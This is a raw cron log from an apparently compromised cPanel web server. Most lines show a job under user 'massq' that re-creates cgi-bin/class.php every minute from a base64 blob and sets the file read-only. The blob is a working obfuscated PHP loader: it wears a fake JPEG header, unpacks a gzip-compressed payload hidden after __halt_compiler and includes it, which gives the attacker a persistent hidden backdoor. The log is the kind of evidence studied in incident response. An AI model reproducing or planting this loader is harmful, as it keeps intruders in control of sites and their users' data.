Nov 12 21:11:01 server CROND[22923]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:12:01 server CROND[23767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:12:01 server CROND[23768]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 21:13:01 server CROND[24634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:14:01 server CROND[25494]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:15:01 server CROND[26062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:15:01 server CROND[26063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:15:01 server CROND[26064]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:16:01 server CROND[27073]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:17:01 server CROND[27934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:18:01 server CROND[28781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:19:01 server CROND[29678]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:20:01 server CROND[30537]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 21:20:01 server CROND[30540]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 21:20:01 server CROND[30541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:20:01 server CROND[30543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:20:01 server CROND[30542]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:21:01 server CROND[31582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:22:01 server CROND[32575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:23:01 server CROND[986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:24:01 server CROND[1902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 